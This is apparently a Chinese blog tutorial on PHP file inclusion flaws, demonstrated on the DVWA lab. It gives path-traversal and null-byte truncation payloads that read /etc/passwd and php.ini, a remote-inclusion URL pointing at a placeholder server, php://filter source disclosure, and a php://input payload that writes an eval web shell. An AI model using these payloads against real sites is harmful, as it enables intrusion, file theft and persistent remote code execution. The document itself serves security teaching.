文件包含漏洞

参考:《白帽子讲web安全》

实战平台:DVWA平台(DVWA平台安装具体自己百度)

文件包含漏洞

文件包含漏洞是”代码注入”的一种。”代码注入”这种攻击,其原理就是注入一段用户能控制的脚本或代码,并让服务端执行。”代码注入”的典型代表就是文件包含(File Inclusion)。文件包含可能会出现在JSP,PHP,ASP等语言中。

在PHP中主要有四个函数:


1
2
3
4
5
include():执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行

require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本

include_once()和require_once():若文件中代码已被包含则不会再次包含

本地文件包含漏洞

1
能够打开并包含本地文件的漏洞,被称为本地文件包含漏洞(Local File Inclusion,简称LFI)

实战

首先打开DVWA登陆,选择File Inclusion进行文件包含漏洞测试,记得在DVWA Security上选择等级low

image

  • 随意构造?page=2333333,发现错误报告(开了错误提示为前提)
    image
    虽然Windows不能直接获取文件,但是给出的错误信息中爆出了绝对路径D:\appserv\www\DVWA-master\

    构造url(绝对路径)
    1
    http://localhost/DVWA-master/vulnerabilities/fi/?page=D:\appserv\www\DVWA-master\php.ini

得到php.ini的信息

1
; This file attempts to overwrite the original php.ini file. Doesnt always work. magic_quotes_gpc = Off allow_url_fopen = On allow_url_include = On

构造url(相对路径)

1
http://localhost/DVWA-master/vulnerabilities/fi/?page=../../../../../../../../appser/www/DVWA-master/php.ini

这里加多次../是为了可以保证回到根目录

有限制的本地文件包含

1
2
3
4
5
6
<?php
include("inc/"

. $_GET['file']
. ".htm");
?>
  • %00截断:
    1
    ?file=../../../../../../../../../etc/passwd%00

(需要 magic_quotes_gpc=off,PHP小于5.3.4有效)

  • %00截断目录遍历:
    1
    ?file=../../../../../../../../../var/www/%00

(需要 magic_quotes_gpc=off,unix文件系统,比如FreeBSD,OpenBSD,NetBSD,Solaris)

  • 路径长度截断:
    1
    ?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.

(php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256)

  • 点号截断:
    1
    ?file=../../../../../../../../../boot.ini/………[…]…………

(php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256)

远程文件包含漏洞

当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行。

实战

这里需要一个服务器(我这里不放出真正的ip)

在远程服务器xxx.xxx.x.xx上传一个1.php文件,内容为hello.

构造url

1
http://localhost/DVWA-master/vulnerabilities/fi/?page=http://xxx.xxx.x.xx/1.php

可以看到页面输出hello

本地文件包含的利用技巧

远程文件包含漏洞之所以能够执行命令,就是因为攻击者能够自定义被包含的文件内容,本地文件包含相反

因此本地文件包含漏洞想要执行命令,也需要找到一个攻击者能够控制内容的本地文件。

【CTF题】使用文件包含漏洞读取网页代码

  • 1.通过PHP内置协议直接读取代码
    1
    http://xxx.com/index.php?file=php://filter/read=convert.base64-encode/resource=xxx.php

能获得xxx.php的代码的base64加密结果,通过base64解密后便可获得xxx.php的代码

  • 2.写入php文件
    1
    http://xxx.com/index.php?file=php://input

且在http头里提交

1
<?fputs(fopen("shell.php","w"),"<?php eval($_post['xxx'];?>")?>

就会在index.php说在的目录下生成shell.php

  • 3.直接包含内有运行代码的文件

index.php

1
2
3
<?php
include $_GET['file'];
?>

那么就可以通过抓包修改file值的办法去运行一些本来不该运行的文件

也可以通过此方法直接输出一些敏感的配置文件和远程包含shell(需要目标主机开启allow_url_fopen)

https://blog.csdn.net/wangjian1012/article/details/51581440

文章目录
  1. 1. 文件包含漏洞
    1. 1.1. 本地文件包含漏洞
      1. 1.1.1. 实战
    2. 1.2. 有限制的本地文件包含
    3. 1.3. 远程文件包含漏洞
      1. 1.3.1. 实战
    4. 1.4. 本地文件包含的利用技巧
    5. 1.5. 【CTF题】使用文件包含漏洞读取网页代码
,